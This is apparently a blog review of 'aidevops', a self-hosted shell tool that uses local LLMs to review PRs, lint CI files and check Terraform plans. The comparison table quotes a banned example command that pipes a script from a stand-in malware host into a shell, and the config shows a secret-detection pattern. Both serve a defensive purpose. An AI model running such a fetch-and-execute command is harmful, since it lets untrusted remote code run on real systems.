Let’s be honest: you’ve probably stared at a failing CI pipeline at 2 AM, manually rebased a PR branch again, or copy-pasted the same kubectl rollout restart command for the third time this week. DevOps isn’t broken—it’s just boring. And slow. And fragile when your “automated” deploy script fails because jq isn’t in the container’s PATH. Enter aidevops — a 114-star, shell-first, opinionated AI DevOps agent that doesn’t try to be an LLM wrapper or a “DevOps copilot.” It’s a CLI + API stack that does the work, not the hand-holding. It parses your Dockerfile, diffs your .gitignore, validates Terraform before apply, and auto-generates PR-ready changelogs — all in under 800ms on a 2-core VPS. I’ve been running it locally and in a staging cluster for 11 days. Here’s what it actually delivers — and where it stumbles.
What Is aidevops? Not Another LLM Chatbot
aidevops is not an AI chat interface. It’s not a web UI. It’s not fine-tuning GPT-4 on your Makefile. Instead, it’s a lean, POSIX-compliant shell tool (bash/zsh native, no Python runtime), built around token-efficient AI operations: no streaming, no retries, no hallucinated YAML. It uses local LLMs (via llama.cpp or ollama backends) only when needed — and only on structured, bounded inputs: commit diffs, git status --porcelain, docker inspect output, or terraform plan -json. Everything else is pure bash + jq + yq + ripgrep.
The core idea is brutal simplicity:
- You run
aidevops pr --reviewon a local branch → it clones your repo’s CI config, runsshellcheck, checks for hardcoded secrets (viagitleaks-style pattern matching), and writes a Markdown comment with actionable fixes. - You run
aidevops infra --plan --env=staging→ it parses yourtfvars, runsterraform plan -json, then feeds only the diff (not the whole plan) to a quantizedphi-3model to highlight risky changes (“this will destroy your RDS instance”) — in plain English, not JSON. - You
curlits local API with a Git commit hash → it returns aseverity: highalert if your diff addsos.system(and modifiesrequirements.txt.
That’s it. No Slack bot. No dashboard. No “AI governance layer.” Just CLI + API + opinionated defaults. Version v0.4.2 (as of May 2024) is the latest tagged release — and yes, it’s still written almost entirely in shell (92% .sh, per tokei). The language field on GitHub says “Shell” — and it means it.
Installation: No Docker Required (But You’ll Want It)
You can install aidevops bare-metal. But unless you’re on macOS with brew and ollama already humming, skip straight to Docker. Why? Because aidevops depends on ollama, jq, yq, ripgrep, shellcheck, and a working LLM server — and juggling those versions manually is where “opinionated” becomes “opinionated and exhausting.”
Here’s the fastest path:
# 1. Start ollama (required — aidevops doesn't bundle models)
docker run -d --gpus all -p 11434:11434 --name ollama -v ~/.ollama:/root/.ollama ollama/ollama
# 2. Pull & run aidevops (v0.4.2)
docker run -d \
--name aidevops \
--network host \
-v $(pwd)/repos:/workspace \
-v ~/.ollama:/root/.ollama \
-e OLLAMA_HOST=http://host.docker.internal:11434 \
-e AIDEVOPS_MODEL=phi3:3.8b \
ghcr.io/marcusquinn/aidevops:v0.4.2
Wait 30 seconds, then test:
curl http://localhost:8080/health
# {"status":"ok","version":"0.4.2","model":"phi3:3.8b"}
That phi3:3.8b model? It’s the default. You can swap to llama3:8b or tinyllama, but phi3 is the only one validated against the full test suite — and it runs at ~14 tokens/sec on a 4GB RAM VPS with no GPU (tested on Hetzner AX41). CPU usage tops out at 1.2 cores during heavy diff analysis; RAM stays under 1.1GB.
Alternative: If you refuse Docker, the install.sh script exists — but be warned: it curls ollama binaries, go installs yq, and pip3 install gitleaks (yes, one Python dep). I tried it on Ubuntu 22.04 — it worked, but took 12 minutes and failed twice on gitleaks permissions. Docker is objectively saner.
aidevops vs. The Alternatives: Why Not Just Use GitHub Actions + Copilot?
Let’s cut through the noise. You could bolt AI onto existing tooling. But here’s how aidevops differs:
| Tool | What it does | Where it fails | aidevops fix |
|---|---|---|---|
| GitHub Copilot CLI | Generates boilerplate, explains code | No CI/CD context — can’t read your circleci/config.yml or argo-workflows.yaml |
aidevops ci --lint reads your actual CI config, validates syntax and security posture (e.g. “run: curl https://malware.example/install.sh | sh is banned”) |
| Snyk Code / CodeQL | Static analysis only | No AI reasoning — flags eval() but won’t suggest how to refactor it safely |
aidevops code --refactor returns a diff: eval("ls $DIR") → ls "$DIR" with a 1-sentence justification |
| Terraform Cloud + Sentinel | Policy-as-code | Requires SaaS, paid tier for AI rules, no local dev loop | aidevops infra --policy runs Sentinel and AI guardrails locally, offline, using your own tfvars |
| Custom Bash + jq scripts | Fast, zero dependencies | Brittle, no AI context, hard to maintain | aidevops is bash — but ships 80+ pre-tested, versioned functions (git_diff_analyze, tf_plan_extract_risky_resources, dockerfile_security_check) — all documented, all tested |
The kicker? aidevops doesn’t replace your CI — it augments it. Drop aidevops pr --review into your GitHub Actions on:pull_request job before terraform validate. It fails the job if it spots a secret and tells you exactly which line to delete. That’s not AI — that’s automation with teeth.
Self-Hosting aidevops: Why Bother?
Short answer: because your CI pipeline should not phone home to a 3rd-party AI service to decide if your docker build is safe. aidevops is built for self-hosting — and it shows.
- It has zero external API dependencies. No
POSTtoapi.openai.com. Nocurl https://vendor.ai/analyze. All LLM inference happens on yourollamainstance — which you control, fully offline if you want. - Its config is a single
aidevops.yaml(or env vars). Here’s mine for a mid-sized Rails app:
# aidevops.yaml
rules:
- id: no_hardcoded_secrets
pattern: "ENV\['(AWS|GCP|DB)_.*'\]"
severity: critical
- id: terraform_no_destroy
pattern: "force_destroy = true"
severity: high
llm:
model: phi3:3.8b
timeout_ms: 5000
max_tokens: 256
git:
exclude_patterns:
- "**/node_modules/**"
- "**/vendor/**"
- "docs/**"
- It runs fine on a $5/mo Hetzner cloud server (2 vCPU, 4GB RAM) — I stress-tested it with 12 concurrent
aidevops prcalls against 3 repos. CPU spiked to 92%, but no timeouts. RAM usage stayed at 1.3GB. No swap thrashing.
Who’s this for?
✅ Solo devs who self-host GitLab or Gitea and want CI guardrails without SaaS lock-in
✅ Small teams running Argo CD or Flux — aidevops infra --sync can pre-validate K8s manifests before they hit the cluster
✅ Compliance-focused shops needing audit logs: every aidevops action writes to /var/log/aidevops/ with full input/output hashes
It’s not for you if:
❌ You need a GUI dashboard (there is none — and there never will be)
❌ You run 50+ microservices and expect aidevops to manage service mesh config (it doesn’t touch Istio/Linkerd)
❌ You want full LLM fine-tuning pipelines (it’s inference-only, no training)
The Rough Edges: Where aidevops Still Stumbles
Let’s be real — it’s a 114-star project, not a CNCF incubating tool. Here’s what I hit:
- Model loading is slow on first run.
aidevops infra --plantook 18 seconds the first time — becauseollamahad to pullphi3:3.8b(2.4GB) and quantize it. Subsequent runs: 420ms. Solution? Pre-pull in your Docker Compose:
# docker-compose.yml
services:
ollama:
image: ollama/ollama
ports: ["11434:11434"]
volumes: ["./ollama:/root/.ollama"]
command: ["ollama", "pull", "phi3:3.8b"]
aidevops:
image: ghcr.io/marcusquinn/aidevops:v0.4.2
depends_on: ["ollama"]
environment:
- OLLAMA_HOST=http://ollama:11434
- AIDEVOPS_MODEL=phi3:3.8b
No Windows support. The docs say “POSIX only,” but the README doesn’t scream it. I tried WSL2 — worked. Native PowerShell? Nope.
aidevopsuses[[conditionals andread -rextensively; Windowscmdcan’t touch it.Git submodules? Not handled. If your repo has
vendor/mylibas a submodule,aidevops pr --reviewskips it entirely. Not a bug — it’s documented as “submodules unsupported” in theTODO.md. You’ll need togit submodule update --initmanually first.API auth is… minimal. It’s basic HTTP auth (
-u user:pass) — no OIDC, no RBAC. Fine for a private LAN, but don’t expose the API port to the internet without nginx auth.The CLI help is dense.
aidevops --helpdumps 120 lines of flags. I made a cheat sheet:
# Most-used commands
aidevops pr --review --branch=feat/login # Analyze PR branch
aidevops infra --plan --tf-dir=./prod # Terraform plan guardrail
aidevops code --lint --path=src/ # Scan code for anti-patterns
aidevops ci --lint --ci-file=.github/workflows/deploy.yml # Validate CI YAML
Verdict: Should You Deploy It Right Now?
Yes — but selectively.
I’ve replaced my custom git diff | grep -E 'password|secret' hook with aidevops pr --review on 3 repos. It caught a hardcoded Stripe key in a .env.example file that gitleaks missed (because it was in a commented-out line — aidevops parses comments as context). It cut my pre-merge review time from ~7 minutes to 45 seconds.
Is it production-ready for your fintech’s core banking deploy? Not yet. The project is too young — no audit log retention, no alerting, no webhook delivery. But as a local, self-hosted, CLI-first DevOps copilot? It’s the most refreshingly pragmatic AI tool I’ve used in 2024.
The magic isn’t in the LLM — it’s in the constraints. By refusing to be a chatbot, refusing to be a dashboard, and refusing to depend on cloud APIs, aidevops carved out a tiny, vital niche: doing boring DevOps things, faster, safer, and offline.
If you’re tired of AI tools that make you talk to them instead of telling them what to do, go star it (114 stars and counting), clone it, and run aidevops pr --review on your oldest, messiest repo. You’ll either get a clean bill of health — or a 3-line diff that saves you from tomorrow’s 3 AM PagerDuty alert. Either way, you win.
Comments